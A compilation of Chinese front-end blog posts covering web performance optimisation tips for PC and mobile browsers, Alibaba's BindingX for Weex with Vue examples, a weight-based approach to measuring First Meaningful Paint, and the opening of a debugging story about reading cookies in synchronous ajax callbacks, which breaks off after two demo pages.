[2] fengzilong/blog#22
转载请标明出处
作者: 木羽 zwwill
首发地址:zwwill/blog#31
围绕前端的性能多如牛毛,涉及到方方面面,以我我们将围绕PC浏览器和移动端浏览器的优化策略进行罗列
注意,是罗列不是展开,遇到不会不懂的点还请站外扩展
开车速度有点快,坐稳了。
tips : 这么多前端优化点你都记得住吗?反正我是收藏起来备查的。
PC端优化的策略很多,如 YSlow(YSlow 是 Yahoo 发布的一款 Firefox 插件,现 Chrome 也可安装,可以对网站的页面性能进行分析,提出对该页面性能优化的建议)原则,或者 Chrome 自带的 Audits 等,总结起来主要包括网络加载类、页面渲染类、CSS 优化类、JavaScript 执行类、缓存类、图片类、架构协议类等几类,下面逐一介绍。
在前端页面中,通常建议尽可能合并静态资源图片、JavaScript 或 CSS 代码,减少页面请求数和资源请求消耗,这样可以缩短页面首次访问的用户等待时间。通过构建工具合并雪碧图、CSS、JavaScript 文件等都是为了减少 HTTP 资源请求次数。另外也要尽量避免重复的资源,防止增加多余请求。
除了减少 HTTP 资源请求次数,也要尽量减小每个 HTTP 请求的大小。如减少没必要的图片、JavaScript、CSS 及 HTML 代码,对文件进行压缩优化,或者使用 gzip 压缩传输内容等都可以用来减小文件大小,缩短网络传输等待时延。前面我们使用构建工具来压缩静态图片资源以及移除代码中的注释并压缩,目的都是为了减小 HTTP 请求的大小。
<style>
或<script>
标签直接引入在 HTML 文件中引用外部资源可以有效利用浏览器的静态资源缓存,但有时候在移动端页面 CSS 或 JavaScript 比较简单的情况下为了减少请求,也会将 CSS 或 JavaScript 直接写到 HTML 里面,具体要根据 CSS 或 JavaScript 文件的大小和业务的场景来分析。如果 CSS 或 JavaScript 文件内容较多,业务逻辑较复杂,建议放到外部文件引入。
<link rel="stylesheet" href="//cdn.domain.com/path/main.css" >
...
<script src="//cdn.domain.com/path/main.js"></script>
当<link>
标签的 href 属性为空,或<script>
、<img>
、<iframe>
标签的 src 属性为空时,浏览器在渲染的过程中仍会将 href 属性或 src 属性中的空内容进行加载,直至加载失败,这样就阻塞了页面中其他资源的下载进程,而且最终加载到的内容是无效的,因此要尽量避免。
<!--不推荐-->
<img src="" alt="photo" >
<a href="">点击链接</a>
为 HTML 内容设置 Cache-Control 或 Expires 可以将 HTML 内容缓存起来,避免频繁向服务器端发送请求。前面讲到,在页面 Cache-Control 或 Expires 头部有效时,浏览器将直接从缓存中读取内容,不向服务器端发送请求。
<meta http-equiv="Cache-Control" content="max-age=7200">
<meta http-equiv="Expires" content="Mon,20Jul201623:00:00GMT">
合理设置 Etag 和 Last-Modified 使用浏览器缓存,对于未修改的文件,静态资源服务器会向浏览器端返回304,让浏览器从缓存中读取文件,减少 Web 资源下载的带宽消耗并降低服务器负载。
<meta http-equiv="last-modified" content="Sun,05 Nov 2017 13:45:57 GMT">
页面每次重定向都会延长页面内容返回的等待延时,一次重定向大约需要200毫秒不等的时间开销(无缓存),为了保证用户尽快看到页面内容,要尽量避免页面重定向。
浏览器在同一时刻向同一个域名请求文件的并行下载数是有限的,因此可以利用多个域名的主机来存放不同的静态资源,增大页面加载时资源的并行下载数,缩短页面资源加载的时间。通常根据多个域名来分别存储 JavaScript、CSS 和图片文件。
<link rel="stylesheet" href="//cdn1.domain.com/path/main.css" >
...
<script src="//cdn2.domain.com/path/main.js"></script>
如果条件允许,可以利用 CDN 网络加快同一个地理区域内重复静态资源文件的响应下载速度,缩短资源请求时间。
CDN Combo 是在 CDN 服务器端将多个文件请求打包成一个文件的形式来返回的技术,这样可以实现 HTTP 连接传输的一次性复用,减少浏览器的 HTTP 请求数,加快资源下载速度。例如同一个域名 CDN 服务器上的 a.js,b.js,c.js 就可以按如下方式在一个请求中下载。
<script src="//cdn.domain.com/path/a.js,b.js,c.js"></script>
对于返回内容相同的请求,没必要每次都直接从服务端拉取,合理使用 AJAX 缓存能加快 AJAX 响应速度并减轻服务器压力。
$.ajax({
url : url,
type : 'get',
cache : true, //推荐使用缓存
data : {},
success (){//...},
error (){//...}
});
使用 XMLHttpRequest 时,浏览器中的 POST 方法会发起两次 TCP 数据包传输,首先发送文件头,然后发送 HTTP 正文数据。而使用 GET 时只发送头部,所以在拉取服务端数据时使用 GET 请求效率更高。
$.ajax({
url : url,
type : 'get', //推荐使用get完成请求
data : {},
success (){//...},
error(){//...}
});
HTTP 请求通常默认带上浏览器端的 Cookie 一起发送给服务器,所以在非必要的情况下,要尽量减少 Cookie 来减小 HTTP 请求的大小。对于静态资源,尽量使用不同的域名来存放,因为 Cookie 默认是不能跨域的,这样就做到了不同域名下静态资源请求的 Cookie 隔离。
有利于 favicon.ico 的重复加载,因为一般一个 Web 应用的 favicon.ico 是很少改变的。
异步的 JavaScript 资源不会阻塞文档解析,所以允许在浏览器中优先渲染页面,延后加载脚本执行。例如 JavaScript 的引用可以如下设置,也可以使用模块化加载机制来实现。
<script src="main.js" defer></script>
<script src="main.js" async></script>
使用 async 时,加载和渲染后续文档元素的过程和 main.js 的加载与执行是并行的。使用 defer 时,加载后续文档元素的过程和 main.js 的加载是并行的,但是 main.js 的执行要在页面所有元素解析完成之后才开始执行。
对于页面中加载时间过长的 CSS 或 JavaScript 文件,需要进行合理拆分或延后加载,保证关键路径的资源能快速加载完成。
CSS 中的 @import
可以从另一个样式文件中引入样式,但应该避免这种用法,因为这样会增加 CSS 资源加载的关键路径长度,带有 @import
的 CSS 样式需要在 CSS 文件串行解析到 @import
时才会加载另外的 CSS 文件,大大延后 CSS 渲染完成的时间。
<!--不推荐-->
<style>
@import "path/main.css";
</style>
<!--推荐-->
<link rel="stylesheet" href="//cdn1.domain.com/path/main.css" >
一般推荐将所有 CSS 资源尽早指定在 HTML 文档 <head>
中,这样浏览器可以优先下载 CSS 并尽早完成页面渲染。
JavaScript 资源放到 HTML 文档底部可以防止 JavaScript 的加载和解析执行对页面渲染造成阻塞。由于 JavaScript 资源默认是解析阻塞的,除非被标记为异步或者通过其他的异步方式加载,否则会阻塞 HTML DOM 解析和 CSS 渲染的过程。
在加载大量的图片元素时,尽量预先限定图片的尺寸大小,否则在图片加载过程中会更新图片的排版信息,产生大量的重排
在 HTML 中直接缩放图片会导致页面内容的重排重绘,此时可能会使页面中的其他操作产生卡顿,因此要尽量减少在页面中直接进行图片缩放。
HTML 中标签元素越多,标签的层级越深,浏览器解析 DOM 并绘制到浏览器中所花的时间就越长,所以应尽可能保持 DOM 元素简洁和层级较少。
<!--不推荐-->
<div>
<span>
<a href="javascript:void(0);">
<img src="./path/photo.jpg" alt="图片">
</a>
</span>
</div>
<!--推荐-->
<img src="./path/photo.jpg" alt="图片" >
CSS 解析匹配到 渲染树的过程是从右到左的逆向匹配,在选择器末尾添加通配符至少会增加一倍多计算量。
直接使用唯一的类名即可最大限度的提升渲染引擎绘制渲染树等效率
JS 直接操作 DOM 极容易引起页面的重排
尽量使用 CSS3 的 translate、scale 属性代替 top、left 和 height、width,避免大量的重排计算
<table>
、<iframe>
<table>
内容的渲染是将 table 的 DOM 渲染树全部生成完并一次性绘制到页面上的,所以在长表格渲染时很耗性能,应该尽量避免使用它,可以考虑使用列表元素 <ul>
代替。尽量使用异步的方式动态添加 iframe,因为 iframe 内资源的下载进程会阻塞父页面静态资源的下载与 CSS 及 HTML DOM 的解析。
长时间运行的 JavaScript 会阻塞浏览器构建 DOM 树、DOM 渲染树、渲染页面。所以,任何与页面初次渲染无关的逻辑功能都应该延迟加载执行,这和 JavaScript 资源的异步加载思路是一致的。
CSS 表达式或 CSS 滤镜的解析渲染速度是比较慢的,在有其他解决方案的情况下应该尽量避免使用。
//不推荐
.opacity{
filter : progid : DXImageTransform.Microsoft.Alpha( opacity = 50 );
}
相对于桌面端浏览器,移动端 Web 浏览器上有一些较为明显的特点:设备屏幕较小、新特性兼容性较好、支持一些较新的 HTML5 和 CSS3 特性、需要与 Native 应用交互等。但移动端浏览器可用的 CPU 计算资源和网络资源极为有限,因此要做好移动端 Web 上的优化往往需要做更多的事情。首先,在移动端 Web 的前端页面渲染中,桌面浏览器端上的优化规则同样适用,此外针对移动端也要做一些极致的优化来达到更好的效果。需要注意的是,并不是移动端的优化原则在桌面浏览器端就不适用,而是由于兼容性和差异性的原因,一些优化原则在移动端更具代表性。
为了进一步提升页面加载速度,可以考虑将页面的数据请求尽可能提前,避免在 JavaScript 加载完成后才去请求数据。通常数据请求是页面内容渲染中关键路径最长的部分,而且不能并行,所以如果能将数据请求提前,可以极大程度上缩短页面内容的渲染完成时间。
由于移动端网络速度相对较慢,网络资源有限,因此为了尽快完成页面内容的加载,需要保证首屏加载资源最小化,非首屏内容使用滚动的方式异步加载。一般推荐移动端页面首屏数据展示延时最长不超过3秒。目前**联通 3G 的网络速度为 338KB/s(2.71Mb/s),所以推荐首屏所有资源大小不超过 1014KB,即大约不超过 1MB。
在移动端资源加载中,尽量保证 JavaScript 资源并行加载,主要指的是模块化 JavaScript 资源的异步加载,例如AMD的异步模块,使用并行的加载方式能够缩短多个文件资源的加载时间。
通常为了在 HTML 加载完成时能使浏览器中有基本的样式,需要将页面渲染时必备的 CSS 和 JavaScript 通过 <script>
或 <style>
内联到页面中,避免页面 HTML 载入完成到页面内容展示这段过程中页面出现空白。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>样例</title>
<meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
<style>
/*必备的首屏CSS*/
html,body{
margin:0;
padding:0;
background-color:#ccc;
}
</style>
</head>
<body>
</body>
</html>
设置文件资源的 DNS 预解析,让浏览器提前解析获取静态资源的主机 IP,避免等到请求时才发起 DNS 解析请求。通常在移动端 HTML 中可以采用如下方式完成。
<!--cdn域名预解析-->
<meta http-equiv="x-dns-prefetch-control" content="on" >
<link rel="dns-prefetch" href="//cdn.domain.com" >
对于移动端首屏加载后可能会被使用的资源,需要在首屏完成加载后尽快进行加载,保证在用户需要浏览时已经加载完成,这时候如果再去异步请求就显得很慢。
通常情况下,我们认为 TCP 网络传输的最大传输单元(Maximum Transmission Unit,MTU)为 1500B,即一个RTT(Round-Trip Time,网络请求往返时间)内可以传输的数据量最大为 1500 字节。因此,在前后端分离的开发模式中,尽量保证页面的 HTML 内容在 1KB 以内,这样整个 HTML 的内容请求就可以在一个 RTT 内请求完成,最大限度地提高 HTML 载入速度。
除了上面说到的使用 Cache-Control、Expires、Etag 和 Last-Modified 来设置 HTTP 缓存外,在移动端还可以使用 localStorage 等来保存 AJAX 返回的数据,或者使用 localStorage 保存 CSS 或 JavaScript 静态资源内容,实现移动端的离线应用,尽可能减少网络请求,保证静态资源内容的快速加载。
对于移动端或 Hybrid 应用,可以设置离线文件或离线包机制让静态资源请求从本地读取,加快资源载入速度,并实现离线更新。关于这块内容,我们会在后面的章节中重点讲解。
AMP HTML 可以作为优化前端页面性能的一个解决方案,使用 AMP Component 中的元素来代替原始的页面元素进行直接渲染。
<!--不推荐-->
<video width="400" height="300" src="http://www.domain.com/videos/myvideo.mp4"
poster="path/poster.jpg">
<div fallback>
<p>Your browser doesn’t support HTML5 video</p>
</div>
<source type="video/mp4" src="foo.mp4">
<source type="video/webm" src="foo.webm">
</video>
<!--推荐-->
<amp-video width="400" height="300" src="http://www.domain.com/videos/myvideo.mp4"
poster="path/poster.jpg">
<div fallback>
<p>Your browser doesn’t support HTML5 video</p>
</div>
<source type="video/mp4" src="foo.mp4">
<source type="video/webm" src="foo.webm">
</amp-video>
PWA(Progressive Web Apps)是 Google 提出的用前沿的 Web 技术为网页提供 App 般使用体验的一系列方案。
在移动端,通常要保证页面中一切用到的图片都是经过压缩优化处理的,而不是以原图的形式直接使用的,因为那样很消耗流量,而且加载时间更长。
在页面使用的背景图片不多且较小的情况下,可以将图片转化成 base64 编码嵌入到 HTML 页面或 CSS 文件中,这样可以减少页面的 HTTP 请求数。需要注意的是,要保证图片较小,一般图片大小超过 2KB 就不推荐使用 base64 嵌入显示了。
.class-name{
background-image : url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAALCAMAAABxsOwqAAAAYFBMVEWnxwusyQukxQudwQyZvgyhxAyfwgyxzAsUHQGOuA0aJAERGAFIXwSTugyEqgtqhghQZgUwQQIpOQKbuguVtQuKrAuCowp2kQlheghTbQZHWQU7SwVAVgQ6TgQlLwMeKwFOemyQAAAAVElEQVQI1y3JVRaAIAAF0UconXbvf5ei8HfPDIQQhBAAFE10iKig3SLRNN4SP/p+N08VC0YnfIlNWtqIkhg/TPYbCvhqdHAWRXPZSp3g3CWZvVLXC6OJA3ukv0AaAAAAAElFTkSuQmCC');
}
使用具有较高压缩比格式的图片,如 webp(需要设计降级兼容方案)等。在同等图片画质的情况下,高压缩比格式的图片体积更小,能够更快完成文件传输,节省网络流量。
<img src="//cdn.domain.com/path/photo.webp" alt="webp格式图片" >
为了保证页面内容的最小化,加速页面的渲染,尽可能节省移动端网络流量,页面中的图片资源推荐使用懒加载实现,在页面滚动时动态载入图片。
<img data-src="//cdn.domain.com/path/photo.jpg" alt="懒加载图片" >
在介绍响应式的章节中我们了解到,针对不同的移动端屏幕尺寸和分辨率,输出不同大小的图片或背景图能保证在用户体验不降低的前提下节省网络流量,加快部分机型的图片加载速度,这在移动端非常值得推荐。
在页面中尽可能使用 iconfont 来代替图片图标,这样做的好处有以下几个:
但是需要注意的是,iconfont 引用不同 webfont 格式时的兼容性写法,根据经验推荐尽量按照以下顺序书写,否则不容易兼容到所有的浏览器上。
@font-face{
font-family:iconfont;
src:url("./iconfont.eot");
src:url("./iconfont.eot?#iefix") format("eot"),
url("./iconfont.woff") format("woff"),
url("./iconfont.ttf") format("truetype");
}
加载的单张图片一般建议不超过 30KB,避免大图片加载时间长而阻塞页面其他资源的下载,因此推荐在 10KB 以内。如果用户上传的图片过大,建议设置告警系统,帮助我们观察了解整个网站的图片流量情况,做出进一步的改善。
对于一些「永远」不会变的图片可以使用强缓存的方式缓存在用户的浏览器上。
选择器选择页面 DOM 元素时尽量使用 id 选择器,因为 id 选择器速度最快。
对于需要重复使用的 DOM 对象,要优先设置缓存变量,避免每次使用时都要从整个DOM树中重新查找。
//不推荐
$('#mod.active').remove('active');
$('#mod.not-active').addClass('active');
//推荐
let $mod=$('#mod');
$mod.find('.active').remove('active');
$mod.find('.not-active').addClass('active');
使用事件代理可以避免对每个元素都进行绑定,并且可以避免出现内存泄露及需要动态添加元素的事件绑定问题,所以尽量不要直接使用事件绑定。
//不推荐
$('.btn').on('click',function(e){
console.log(this);
});
//推荐
$('body').on('click','.btn',function(e){
console.log(this);
});
由于移动端屏幕的设计, touchstart 事件和 click 事件触发时间之间存在 300 毫秒的延时,所以在页面中没有实现 touchmove 滚动处理的情况下,可以使用 touchstart 事件来代替元素的 click 事件,加快页面点击的响应速度,提高用户体验。但同时我们也要注意页面重叠元素 touch 动作的点击穿透问题。
//不推荐
$('body').on('click','.btn',function(e){
console.log(this);
});
//推荐
$('body').on('touchstart','.btn',function(e){
console.log(this);
});
需要对 touchmove、scroll 这类可能连续触发回调的事件设置事件节流,例如设置每隔 16ms(60 帧的帧间隔为 16.7ms,因此可以合理地设置为 16ms )才进行一次事件处理,避免频繁的事件调用导致移动端页面卡顿。
//不推荐
$('.scroller').on('touchmove','.btn',function(e){
console.log(this);
});
//推荐
$('.scroller').on('touchmove','.btn',function(e){
let self=this;
setTimeout(function(){
console.log(self);
},16);
});
这些都是一些基础的安全脚本编写问题,尽可能使用较高效率的特性来完成这些操作,避免不规范或不安全的写法。
ECMAScript6+ 一定程度上更加安全高效,而且部分特性执行速度更快,也是未来规范的需要,所以推荐使用 ECMAScript6+ 的新特性来完成后面的开发。
一般认为,在移动端设置 Viewport 可以加速页面的渲染,同时可以避免缩放导致页面重排重绘。在移动端固定 Viewport 设置的方法如下。
<!--设置viewport不缩放-->
<meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=no">
页面的重排重绘很耗性能,所以一定要尽可能减少页面的重排重绘,例如页面图片大小变化、元素位置变化等这些情况都会导致重排重绘。
使用 CSS3 动画时可以设置 transform:translateZ(0) 来开启移动设备浏览器的GPU图形处理加速,让动画过程更加流畅,但需要注意的是,在 Native WebView 下 GPU 加速有几率产生 App Crash。
-webkit-transform:translateZ(0);
-ms-transform:translateZ(0);
-o-transform:translateZ(0);
transform:translateZ(0);
选择 Canvas 或 requestAnimationFrame 等更高效的动画实现方式,尽量避免使用 setTimeout、setInterval 等方式来直接处理连续动画。
部分情况下可以考虑使用 SVG 代替图片实现动画,因为使用 SVG 格式内容更小,而且 SVG DOM 结构方便调整。
在 DOM 渲染树生成后的布局渲染阶段,使用 float 的元素布局计算比较耗性能,所以尽量减少 float 的使用,推荐使用固定布局或 flex-box 弹性布局的方式来实现页面元素布局。
过多的 font-size 声明会增加字体的大小计算,而且也没有必要的。
脚本容错可以避免「非正常环境」的执行错误影响页面的加载和不相关功能的使用
在条件允许的情况下可以考虑使用 SPDY 协议来进行文件资源传输,利用连接复用加快传输过程,缩短资源加载时间。HTTP2 在未来也是可以考虑尝试的。
使用后端数据渲染的方式可以加快页面内容的渲染展示,避免空白页面的出现,同时可以解决移动端页面SEO的问题。如果条件允许,后端数据渲染是一个很不错的实践思路。后面的章节会详细介绍后端数据渲染的相关内容。
可以尝试使用 NativeView 的 MNV* 开发模式来避免 HTML DOM 性能慢的问题,目前使用 MNV* 的开发模式已经可以将页面内容渲染体验做到接近客户端 Native 应用的体验了。但需要避免 js Framework 和 native Framework 的频繁交互。
关于页面优化的常用技术手段和思路主要包括以上这些,尽管列举出很多,但仍可能有少数遗漏,可见前端性能优化不是一件简简单单的事情,其涉及的内容很多。大家可以根据实际情况将这些方法应用到自己的项目当中,要想全部做到几乎是不可能的,但做到用户可接受的原则还是很容易实现的。
另外,如果你有比较好的优化点想要扩充,欢迎下方评论。
三月初,阿里巴巴开源的一套基于 Weex、React Native 的富交互解决方案 「BindingX」。提供了一种称之为 「Expression Binding」 的机制可以在 Weex、React Native 上让手势等复杂交互操作以60fps的帧率流畅执行,而不会导致卡顿,因而带来了更优秀的用户体验。
听上去「高大上」,那为啥要造这个轮子呢?
这就得从源头说起,他到底解决了什么问题。
我们知道,Weex 和 React Native 同样都是三层结构,「 JS 层、 Native 层、 Bridge 层」,Native 层负责视觉绘制、事件收集,JS 层负责视觉控制、事件处理,Bridge 层是 JS 层和 Native 层的沟通桥梁,负责指令「翻译」。以 Weex 为例:
想让 Native 层做一些复杂的交互操作时,JS 层就需要不停得处理从 Native 层收集来的事件然后作出「及时」响应,如果响应「不及时」就会导致视觉卡顿。
怎么样才算是「及时」呢?
我们常说 60fps 帧率是流畅的基础,这就意味着,一次有效的刷新需要在 1/60 s 内完成,如果 JS 层从事件接受、处理、回馈到 Native 绘制新的视图完成超过了 16.67ms 将会出现「视觉卡顿」。
另外,即使每一次更新都可以完全控制在 16.67ms 内,大量的通讯操作也会消耗掉过多的 CPU,以至于加大了 Crash 的风险
如果不突破这层瓶颈,此类技术将很难达到一个新的高度。
BindingX 就是解决这个问题的。
BindingX 提出的 「Expression Binding」 将具体的手势控制行为以 「表达式」 的方式传递给 Native,监控「被绑定元素」上发生的手势操作并输出过程中横向「x」和纵向「y」的偏移量,因此我们即可将「x,y」作为表达式「f(x),f(y)」的入参,针对性的对某一目标元素的样式进行「绑定变化」。
而这所以操作都是在 Native 层独立完成的,大大减小了 JS 层和 Bridge 层的压力。
「无 Binding 模式」
「Binding 模式」
表达式,是由数字、运算符、变量等以能求得有意义数值的字符串。譬如, x\*3+10
就是一个表达式,当x被赋值时,整个表达式就会有一个明确的结果。通过表达式,我们就可以描述一个具体的交互行为,比如我们希望x从0变化到100时,透明度能从1变化到0.5,那么表达式可以描述为: f(alpha) = 1-(x/100)*0.5
也可以是 f(alpha) = 1-x/200
只不过第一种表达式更直白。
下面举一个简单的例子。
/* 简码 */
bindingx.bind({
anchor:foo_view.ref , //==> 事件的触发者
eventType:'pan', //==> 事件类型
props: [
{
element:foo_view.ref, //==> 要改变的视图的引用或者id
property:'transform.translateX', //==> 要改变的属性
expression:'x+0' //==> 表达式
}
]
});
就这么简单,几行代码即可绑定 foo_view
实现视图随手势移动的交互。当然复杂的也有,只不过都是由这么一个个小的交互堆积而成的。
除了基本的四则运算外,还支持三元运算符、数学函数等高级语法,基本可以满足绝大部分的场景。
前面的例子中用到了 pan
手势,除手势外,BindingX 还支持「列表的滚动 scroll
」、「动画 timing
」甚至是「陀螺仪感 orientation
」,每种事件类型使用方式大致相同,也有注意点,详细请参阅《bindingx 官方文档》。
怎么样能快速体验呢?
跟上我的脚步
官方虽然也提供了 试验田 https://alibaba.github.io/bindingx/playground,但语法均为 Rax 但 DSL,并不少 Weex 对外的 Vue 版本,我们无法在线编辑查看效果,只能使用阿里系App「如淘宝、闲鱼、飞猪」扫码体验效果。
这些都不是我们想要的。
当然方法总是有的。
直接将 BindingX 的官方代码 clone
下来,上面有支持 Vue 版本的 Weex Playground。
bindingx/weex/playground/[ios|android]
ios 和 android 选一个用工具安装到自己的手机上。此处就不多解释了,不会的问下 google,或者下方留言。
使用 http://dotwe.org/vue/ 在线编辑,扫码看效果。
给大家分享几个 Vue 版本的 demo。
http://dotwe.org/vue/e50f76a6c13337b6fa4201a045c5dc0c
http://dotwe.org/vue/2dff486956044ea59b3d38a2cf20b506
http://dotwe.org/vue/64998432f2a249f5cb35b4de0040526d
http://dotwe.org/vue/cd942c4bee9c4b7bcceda4e3aaf94c70
这是很早以前的一个小 Demo,感兴趣的可以 star 一下
https://github.com/zwwill/yanxuan-weex-demo
下面我基于严选的 Demo 进行的小试用。
要想使用 BindingX 插件,就必须使自己的 platform 支持。方法很简单,只需要将 platforms/ios/Podfile
进行升级修改即可。
source '[email protected]/CocoaPods/Specs.git'
platform :ios, '8.0' #最低8.0
#inhibit_all_warnings!
def common
pod 'WeexSDK', '0.17.0' #升级至 0.17.0
pod 'Weexplugin', :path=>'./Weexplugin/'
pod 'WXDevtool'
pod 'SDWebImage', '3.7.5'
pod 'SocketRocket', '0.4.2'
pod 'BindingX' #增加 BindingX
end
target 'WeexDemo' do
common
end
target 'WeexUITestDemo' do
common
end
随后执行一遍 pod install
即可安装成功。如出现错误提示,按提示 fix 掉即可。
Vue 的引入方式不同于 Rax,需要使用 weex.requireModule()
API。
<template>
<div class="wrapper">
<image ref="headerBg" resize="cover" src="http://cdn.zwwill.com/yanxuan/imgs/bg5.png"></image>
<scroller ref="contentScroller">
<div>
<!-- 省略非关键代码 -->
</div>
<div class="fbs">
<!-- 省略非关键代码 -->
</div>
</scroller>
</div>
</template>
<script>
const binding = weex.requireModule('bindingx'); //引入 bindingx
export default {
mounted(){
this.headerBgBinding();
},
beforeDestroy(){
this.headerBgBindingDestory();
},
methods: {
headerBgBinding(){
let self = this,
scroller = self.$refs.contentScroller.ref,
headerBg = self.$refs.headerBg.ref;
let bindingResult = binding && binding.bind({
eventType:'scroll',
anchor:scroller,
props:[
{
element:headerBg,
property:'transform.scale',
expression:{
origin:'y<0?(1-y/500):(1+y/500)'
}
},
{
element:headerBg,
property:'transform.translateY',
expression:{
origin:'-y/2'
}
}
]
},function(e){
});
self.gesToken = bindingResult.token;
}
headerBgBindingDestory(){
let self = this;
if(self.gesToken != 0) {
binding.unbind({
eventType:'scroll',
token:self.gesToken
})
self.gesToken = 0;
}
}
}
}
</script>
实现的效果就是最常见的个人信息页,title 背景随着滚动事件变换大小。
效果动图 http://cdn.zwwill.com/yanxuan/resource/bindingx2.gif
Weex 有了 BindingX 如虎添翼。效率更高性!能更稳定!同期开源的还有 GCanvas 也是一把神器。
近期工作繁重,通宵写文章,如发现文章残瑕处,敬请谅解!
可能大家对「白屏时间」这个名词并不陌生,他是「刀耕火种」年代,我们收集的页面性能指标之一,随着前端工程的复杂化,白屏时间已经没有什么实质性的意义了,取而代之的就是 FMP。
先来介绍几个与之相关的名词。
<canvas>
等元素相对于 FP 和 FCP,FMP 是我们前端最常关注的重要性能指标,Google 定义它为「是否有用?」的时间点。然而,「是否有用?」是很难以通用方式界定的,因此,至今依然没有标准的 API 输出。
社区中常有这么几种方式进行「相对准确」的计算 FMP,所谓相对准确,是相对于实际项目而言。
本文将着重介绍第二种方式。
所谓权重,即,将页面的元素以约定的「权重比」遍历出「权重值」最大的某一个或一组 DOM,然后以其「装载时间点」或「加载结束点」作为 FMP 的映射。
想要对 DOM 节点进行阶段性标记,就得有监听 DOM 变化的能力,庆幸的是,HTML5 赋予了我们这个能力。
MutationObserver
,Mutation Events功能的替代品,是DOM3 Events规范的一部分。他可以在指定的 DOM 发生变化时执行回调。
MutationObserver 有三个方法
disconnect()
阻止 MutationObserver 实例继续接收的通知,直到再次调用其observe()方法,该观察者对象包含的回调函数都不会再被调用。
observe()
配置MutationObserver在DOM更改匹配给定选项时,通过其回调函数开始接收通知。
takeRecords()
从MutationObserver的通知队列中删除所有待处理的通知,并将它们返回到MutationRecord对象的新Array中。
global.mo = new MutationObserver(() => {
/* callback: DOM 节点设置阶段性标记 */
});
/**
* mutationObserver.observe(target[, options])
* target - 需要观察变化的 DOM Node。
* options - MutationObserverInit 对象,配置需要观察的变化项。
* 更多 options 的介绍请参考 https://developer.mozilla.org/zh-CN/docs/Web/API/MutationObserverInit#%E5%B1%9E%E6%80%A7
**/
global.mo.observe(document, {
childList: true, // 监听子节点变化(如果subtree为true,则包含子孙节点)
subtree: true // 整个子树的所有节点
});
下图粗滤的解析了正常单页面的渲染过程
实际上在第一、第三阶段之间还存在着大量的 DOM 变化,Mutation Observer 事件的触发并不是同步的,而是异步触发的,也就是说,等到当前「阶段」所有 DOM 操作都结束才触发。
Mutation Observer 有以下特点
- 它等待所有脚本任务完成后,才会运行(即异步触发方式)。
- 它把 DOM 变动记录封装成一个数组进行处理,而不是一条条个别处理 DOM 变动。
- 它既可以观察 DOM 的所有类型变动,也可以指定只观察某一类变动。
在 load
事件触发后,各个阶段的 tag 已经被打到标签上了
此处以『_ti
』昨晚标记 key。
在打标记的同时,需要记录下当前的时间节点,备用
// 伪代码
function callback() {
global.timeStack[++_ti] = performance.now(); // 记时间
doTag(_ti); // 打标记
}
标记打完后就等 load 的那一刻进行计算反推了。
一般来说
svg
和 canvas
也很重要// 伪代码
function weightCompute(node){
let {
width,
height,
left,
top
} = node.getBoundingClientRect();
// 排除视图外的元素
if(isOutside(width, height, left, top)){
return 0;
}
let wts = TAG_WEIGHT_MAP[node.tagName]; // 约定好的权重比
let weight = width * height * wts; // 直接乘,或者更细粒度的计算 wts(width, height, wts)
return {
weight,
wts,
tagName: node.tagName,
ti: node.getAttribute("_ti"),
node
};
}
在我们的约定权重算法下,权重最大的元素即为我们推到的主角元素。
// 伪代码
function getCoreNode(node){
let list = nodeTraversal(node); // 递归计算每个标记节点的权重值
return getNodeWithMaxWeight(list); // weight 最大的元素
}
不同的元素获取时间的方式并不相同
// 伪代码
function getFMP(){
let coreObj = getCoreNode(document.body),
fmp = -1;
let {
tagName,
ti,
node
} = coreObj;
switch(tagName){
case 'IMG':
case 'VIDEO':
let source = node.src;
let { responseEnd } = performance.getEntries().find(item => item.name === source);
fmp = responseEnd || -1;
break;
default:
if(node.style.backgroundImage){
// 普通元素的背景处理
}else{
fmp = global.timeStack[+ti];
}
}
return fmp;
}
以我们的 demo 页为例,类似的电商网站,我们希望拿到「阶段二」或「阶段三」的时间点作为我们的 FMP 值。
因为我们并不希望「主角元素」的背景或者「图片主角元素」的相应时间算在 FMP 的值内,所以,我们将「图片」「视频」等资源元素降级成普通元素计算。
在 Chrome [ Disable cache / Fast 3G ] 条件下我们进行模拟验证。
计算得到的 FMP 值为 4730.7ms,Chrome Performance 监控的值在 4950ms 左右,误差在 200ms 左右。
如果将限速放开,FMP 的取值将更接近我们希望的「First Meaning Paint」。
遇到这种问题实属无奈,前端的浏览器兼容性一直是一个让人头痛的问题
仅以此文记录如此尴尬无奈的一天。拿来替大伙儿解闷T_T
同事:快来!快来!线上出问题了!!
我:神马?! 咩?! WHAT?! なに?!
同事:是这次发布造成的吗?
我:回滚!回滚!(为什么要在快吃饭的时候掉链子!顾不上肚子了!快查吧)
......
一通混乱的对话后只能静下心来“扫雷”了。
回滚、代理、抓包、对比、单因子排查。。。
一套组合拳打完,大概一炷香的时间,终于找到了破绽,竟然是 ajax 同步回调的问题!不合理啊!不应该啊!还有这种操作?!
使用 ajax 做“同步”请求,此请求会返回一个 cookie,在
success
回调中读取此目标cookie 失败!ajax执行结束后document.cookie
才会被更新
PC 端和 Android 端影响范围小,属于偶现。
IOS 端是重灾区,出来 Chrome 和 Safari 浏览器外的绝大多说浏览器都会出现此问题,并且 App 内置的 Webview 环境同样不能幸免。
在本同步请求回调内预读取本请求返回的 cookie 会产生问题。
半壁江山都沦陷了,我要这铁棒有何用!
小范围的兼容问题我姑且可以饶你,奈何你如此猖狂,怎能任你瞒天过海!
排除一些干扰项,还原其本质,我们分别用框架nej
,jQuery
和js
写几个相同功能的“同步” demo,走着瞧着。。
【nej.html】使用 NEJ 库
<!DOCTYPE html>
<html>
<head>
<title>nej</title>
<meta charset="utf-8" />
</head>
<body>
test
<script src="http://nej.netease.com/nej/src/define.js?pro=./"></script>
<script>
define([
'{lib}util/ajax/xdr.js'
], function () {
var _j = NEJ.P('nej.j');
_j._$request('/api', {
sync: true,
method: 'POST',
onload: function (_data) {
alert("cookie:\n" + document.cookie)
}
});
});
</script>
</body>
</html>
【jquery.html】使用 jQuery 库
<!DOCTYPE html>
<html>
<head>
<title>jquery</title>
<meta charset="utf-8" />
</head>
<body>
jquery
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
<script>
$.ajax({
url: '/api',
async: false,
method: 'POST',
success: function (result) {
alert("cookie:\n" + document.cookie)
}
});
</script>
</body>
</html>
